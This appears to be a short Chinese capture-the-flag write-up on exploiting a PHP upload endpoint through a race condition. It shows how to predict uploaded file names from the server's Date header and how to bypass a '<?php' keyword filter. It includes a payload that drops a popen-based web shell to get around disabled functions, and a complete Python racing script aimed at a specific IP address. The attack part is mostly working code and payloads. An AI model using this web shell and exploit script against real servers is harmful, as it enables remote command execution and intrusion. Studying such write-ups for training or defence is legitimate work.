上传php的时候发现其回显为删除那么就有可能是上传后检查再删除,,即可以尝试条件竞争

观察成功上传的jpg文件可以发现其重命名的文件名是date的md5值,而date是服务器的时间。再请求的Date响应头转换一下即可

而上传的文件内容也有过滤但是是关键词过滤<?php使用<?=然后后门出现php就直接拼接即可
那么上传写入文件的payload如下

1
<?= file_put_contents('LSE.ph'.'p','<?= var_dump(fread(popen($_POST[1], "r"), 1000)); ?>'); ?>

然后再phpinfo.php可以发现其禁用了很多函数,但是没有禁用popen所以可以使用popen绕过

然后就是条件竞争了

bp不断发文件上传的包,然后有py写脚本访问文件脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
from email.utils import parsedate_to_datetime
import hashlib
from datetime import timedelta
import time

# 配置
url_phpinfo = "http://119.233.150.146:32903/aa"
base_url = "http://119.233.150.146:32903/uploads/"

while True:
try:
# Step 1: 获取服务时间
r = requests.get(url_phpinfo)
date_header = r.headers.get("Date")
if not date_header:
print("[-] 响应头没有 Date")
continue

service_time = parsedate_to_datetime(date_header)
# 计算 3 秒后的时间
target_time = service_time + timedelta(seconds=3)
time_str = target_time.strftime("%Y%m%d%H%M%S")
md5_hash = hashlib.md5(time_str.encode()).hexdigest()
url_target = f"{base_url}{md5_hash}.php"+f"?haha=var_dump(1);"

print(f"[+] 服务时间: {service_time} | 发送未来 3 秒时间: {time_str} -> {url_target}")

# Step 2: 不断发送直到经过 3 秒(不 sleep)
start_loop = time.time()
while time.time() - start_loop < 4:
try:
r2 = requests.get(url_target)
print(f"[>] 尝试 {time_str} -> {url_target} (状态码 {r2.status_code})")
if r2.status_code == 500:
print(11111)
print(r2.text)
if r2.status_code == 200:
print(f"[+] 找到文件: {url_target}")
print(r2.text)
except Exception as e:
print(f"[!] 请求异常: {e}")

print("[*] 3 秒已过,重新获取服务时间,开始新一轮...\n")

except Exception as e:
print(f"[!] 请求异常: {e}")



竞争到后访问LSE.php然后命令执行就好了
alt text